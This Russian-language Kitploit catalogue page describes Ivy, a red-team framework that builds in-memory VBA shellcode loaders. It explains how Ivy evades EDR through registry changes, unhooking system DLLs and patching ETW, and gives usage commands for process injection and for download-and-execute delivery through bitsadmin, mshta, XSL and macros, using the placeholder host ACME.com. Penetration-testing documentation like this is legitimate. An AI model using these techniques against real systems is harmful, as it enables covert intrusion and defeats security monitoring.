Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Ivy — Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode. | Kitploit
Инструменты/GitHubGitHub/optiv/ivy
Payload GenerationExploitationShellcodePost-ExploitationPenetration TestingRed TeamingPayload DevelopmentArchived
GitHuboptiv/ivy

Ivy

Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.

Репозиторий
7431293 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ЭТОТ РЕПОЗИТОРИЙ БЫЛ АРХИВИРОВАН

Чтобы просмотреть последнюю версию Ivy или сообщить о проблеме, обратитесь по адресу https://github.com/Tylous/Ivy.



Дополнительная информация

Если вы хотите узнать больше о методах, используемых в этом фреймворке, а также о защитных мерах, которые помогут от него защититься, ознакомьтесь со Статьей.

Описание

Ivy — это фреймворк для создания полезных нагрузок, предназначенный для выполнения произвольного VBA (макрос) кода в памяти. Загрузчик Ivy делает это, злоупотребляя программным доступом к объектной среде VBA для загрузки, расшифровки и выполнения шелл-кода. Эта техника максимально приближена к истинному «безфайловому» подходу, поскольку большинство современных безфайловых атак требуют сброса каких-либо файлов на диск, тем самым обходя стандартные сигнатурные правила обнаружения VBA-кода. Обычные VBA-нагрузки имеют следующие характеристики:

  • Существуют в документах Office с поддержкой макросов
  • Эти макросы хранятся на диске

Выполняясь исключительно в памяти, эти поведенческие характеристики усложняют обнаружение системами EDR.

Загрузчики Ivy шифруются с помощью RC4 (AES-шифрование создает много избыточного кода и требует много времени для расшифровки в VBA), а затем разбиваются на отдельные строки, предотвращая распознавание этих строк как зашифрованных в песочницах. Это также не позволяет механизмам декодирования воспринимать эти нагрузки как что-либо, кроме мусорных символов.

Загрузчик Ivy сначала выполняет запрос к реестру для включения «Доверять доступу к объектной модели проектов VBA». Это значение ключа реестра хранится в пользовательском режиме, что позволяет пользователю изменять его без необходимости повышенных привилегий. Значение реестра устанавливается с нуля на единицу; если ключ реестра не существует, Ivy создаст его со значением «1». При включенном значении разрешается программный доступ к объектной среде VBA из другого процесса.

После этого загрузчик запускает скрытый процесс Excel и загружает зашифрованные строки в функцию VBA. Это делается с помощью ActiveX для имитации GUI-действий, выполняющих ту же задачу. Это помогает обойти множество традиционных средств контроля выполнения. В результате функция расшифровки и шелл-код перемещаются из одного буфера памяти в другой, никогда не касаясь диска. Наконец, загрузчик использует команды GUI и выполняет функцию run, которая имитирует нажатие кнопки запуска макроса на GUI-панели VBA, запуская функцию расшифровки, а затем фактическое выполнение шелл-кода.

ВАЖНО

На целевом компьютере должен быть установлен и активирован Microsoft Office, так как Ivy использует программный доступ к среде VBA Microsoft Office.

Режим отключения хуков EDR

Этот режим позволяет Ivy использовать низкоуровневые системные вызовы для создания собственной версии функции Windows WriteProcessMemory, косвенно обращаясь к прямому адресу памяти и значениям регистров. Ivy может перезаписывать участки памяти, которые не доступны для записи, без вызова каких-либо API-функций изменения памяти. Это возможно благодаря особенности WriteProcessMemory, которая временно изменяет права на область памяти на запись (если у вас есть достаточные привилегии, что у нас есть, так как мы владеем процессом). Она записывает значение и восстанавливает исходные права без вызова функции VirtualProtect, а вместо этого автоматически вызывает соответствующий системный вызов (NtProtectVirtualMemory).

Ivy не использует собственную версию NtWriteVirtualMemory, потому что в этом случае процесс временного изменения прав памяти не происходит, защита конкретного адреса памяти не изменяется, и выполнение завершается ошибкой. Это «функция», выпущенная Microsoft для повышения стабильности отладчиков. Поскольку отладчики хотят изменять память на лету, они могут просто изменить участок без необходимости выполнять несколько задач. (См. devblogs.microsoft.com для получения информации)

Давайте рассмотрим последовательность событий, которые увидит EDR:

  • Ivy создает функцию WriteProcessMemory, которая вручную устанавливает правильные значения регистров.
  • Наша функция вызывает точный адрес памяти, где хранится WriteProcessMemory. (Это будет выглядеть как вызов регистра RAX, а не kernel32.WriteProcessMemory)
  • Это значит, что мы не вызываем WriteProcessMemory напрямую, но при этом используем все его возможности.
  • EDR увидит только строку ассемблера, которая не соответствует злонамеренным индикаторам для адреса памяти.
  • Этот адрес памяти будет началом функции, но адрес функции уникален из-за ASLR; потребуется поиск каждой функции.
  • Перед выполнением записи запускается системный вызов ZWQueryVirtualMemory для просмотра защиты области памяти.
  • Если эта память не установлена как записываемая, вызывается NtProtectVirtualMemory для изменения прав.
  • Затем 8 байт ассемблера записываются по указанному адресу памяти.
  • NtProtectVirtualMemory снова вызывается для восстановления исходного значения защиты.

После удаления всех хуков EDR загрузчик выполняет обычное действие для установки удаленной сессии.

Ivy решает эту задачу, снимая хуки с общих системных DLL, которые перехватывает EDR:

  • Ntdll.dll
  • Kernel32.dll
  • Kernelbase.dll
  • Advapi32.dll
  • Sechost.dll
  • Ws2_32.dll
  • Winmmbase.dll

При использовании unhook с типом нагрузки Inject загрузчик Ivy сначала снимет хуки с процесса Office, удаляя EDR из него, а затем удалит хуки в инжектированном процессе. Это гарантирует, что оба процесса свободны от хуков, предотвращая отправку телеметрии от родительского и дочернего процессов в EDR.

Пэтчинг ETW

Используя ту же технику для снятия хуков, Ivy может патчить функции ETW, предотвращая генерацию любых событий процессом. ETW использует встроенные системные вызовы для генерации этой телеметрии. Поскольку ETW является встроенной функцией Windows, продуктам безопасности не нужно «хукать» системные вызовы ETW для получения информации. В результате, чтобы предотвратить ETW, Ivy патчит многочисленные системные вызовы ETW, сбрасывая регистры и возвращая поток выполнения к следующей инструкции. Пэтчинг ETW теперь включен по умолчанию во всех загрузчиках; если вы не хотите патчить ETW, используйте опцию командной строки -noetw, чтобы отключить это в вашем загрузчике.

Демонстрация

Установка

Ivy разработан на Go.

Первый шаг, как всегда, — клонировать репозиторий. Перед компиляцией Ivy вам нужно установить зависимости. Для их установки выполните следующие команды:

root@kitploit:~
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go

Затем соберите его:

root@kitploit:~
go build Ivy.go

Справка

root@kitploit:~
$ ./Ivy -h

     ___   ___      ___  ___    ___
    |\  \ |\  \    /  /||\  \  /  /|
    \ \  \\ \  \  /  / /\ \  \/  / /
     \ \  \\ \  \/  / /  \ \    / /
      \ \  \\ \    / /    \/  /  /
       \ \__\\ \__/ /   __/  / /
        \|__| \|__|/   |\___/ /
                       \|___|/
                       (@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?

Usage of ./Ivy:
    -Ix64 string
    	Path to the x64 payload
  -Ix86 string
    	Path to the x86 payload
  -O string
    	Name of output file
  -P string
    	Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
  -debug
    	Print debug statements
  -delivery string
    	Generates an one-liner command to download and execute the payload remotely:
    	[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
    	[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
    	[*] macro - Generates an office macro that would download and execute a the loader remotely.
    	[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
  -process32 string
    	The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
  -process64 string
    	The full path to the x64 application to spawn. Please  specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
  -product string
    	Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
  -sandbox
    	Enable sandbox evasion controls (i.e. checks if the system is domain joined)
  -stageless
    	Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
  -unhook
    	Unhooks EDR's hooks before loading payload
  -url string
    	URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)

Генерация загрузчика

При генерации загрузчика с помощью Ivy вам нужно создать 64- и 32-битные нагрузки и передать их через аргументы командной строки -Ix64 и -Ix86. Это связано с тем, что операционная система может быть 64-битной, но установленная версия Office может быть 32-битной; в результате Ivy определит подходящую архитектуру перед инжекцией полезной нагрузки.

Кроме того, при генерации загрузчика есть два типа нагрузок. Первый, Inject, выполняет атаку инжекции процесса: создается новый процесс в приостановленном состоянии, в него внедряется шелл-код, после чего процесс возобновляется. Хотя инжекция процесса может быть полезна и создает не-Excel процесс, EDR очень хорошо умеют обнаруживать создание приостановленного процесса для инжекции, что может нас выдать. Более скрытный вариант — Local. Он загружает шелл-код непосредственно в текущий процесс Office. Вариант Local также включает дополнительные функции для избежания обнаружения, используя прямые вызовы к некоторым системным вызовам Windows. Это возможно благодаря среде VBA, которая позволяет нам определять и вызывать точную функцию (при условии, что мы предварительно правильно настроили все регистры) на основе стека. Наконец, загрузчик Ivy в этом типе нагрузки имеет недокументированный вызов для выполнения шелл-кода, что усложняет его обнаружение.

Процесс инжекции

В режиме Inject Ivy создает процесс в приостановленном состоянии для инжекции шелл-кода. В зависимости от того, 32-битная или 64-битная система, будет запущен разный процесс. Ivy поставляется с некоторыми именами процессов по умолчанию, но их можно изменить с помощью флагов process32 или process64. При указании пути убедитесь, что используете \\ в пути.

Стейджовый и бесстейджовый шелл-код

Прежде всего, ВСЕГДА СЛЕДУЕТ ИСПОЛЬЗОВАТЬ аргумент -stageless. Однако, если вам когда-нибудь понадобится запустить стейджовую нагрузку, вы можете сделать это, не используя -stageless. При использовании -stageless можно использовать raw-шелл-код, однако, если вы решите запустить стейджовую нагрузку, важно, чтобы для типов нагрузок Inject шелл-код был отформатирован в VBA, а для типов Local — в C.

Доставка

Аргумент командной строки delivery позволяет сгенерировать команду или строку кода (в случае макроса) для удаленного получения файла с удаленного источника на хост жертвы. Эти методы доставки включают:

  • Bits – создает команду bitsadmin, которая удаленно загрузит загрузчик, выполнит его и удалит.
  • HTA – создает пустой HTA-файл, содержащий загрузчик. Этот вариант также предоставляет командную строку, которая выполнит HTA удаленно в фоновом режиме.
  • Macro – создает макрос Office, который можно поместить в документ макроса Excel или Word. При выполнении этого макроса загрузчик будет загружен из удаленного источника, выполнен и удален.
  • XSL – создает файл таблицы стилей XSL, содержащий загрузчик, вместе с однострочной командой для его удаленного выполнения.

Примеры

Стейджовая нагрузка Inject

root@kitploit:~
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js

Стейджовая нагрузка Local

root@kitploit:~
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js

Бесстейджовая нагрузка Local

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js

Бесстейджовая нагрузка Inject

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js

Бесстейджовая нагрузка Inject с запуском notepad.exe

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js

Бесстейджовая нагрузка Local со снятием хуков

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js

Бесстейджовая нагрузка Inject со снятием хуков

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js

Примеры однострочных команд

Неисполняемые типы файлов

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless

Команда Bitsadmin

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless

Команда MSHTA.exe

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless

Нагрузка в таблице стилей

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless

Макрос-загрузчик через веб

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless

Известные проблемы

В настоящее время существует известная проблема со снятием хуков с удаленного инжектированного процесса. Временное решение — загрузить BOF unhook.

Скачать инструмент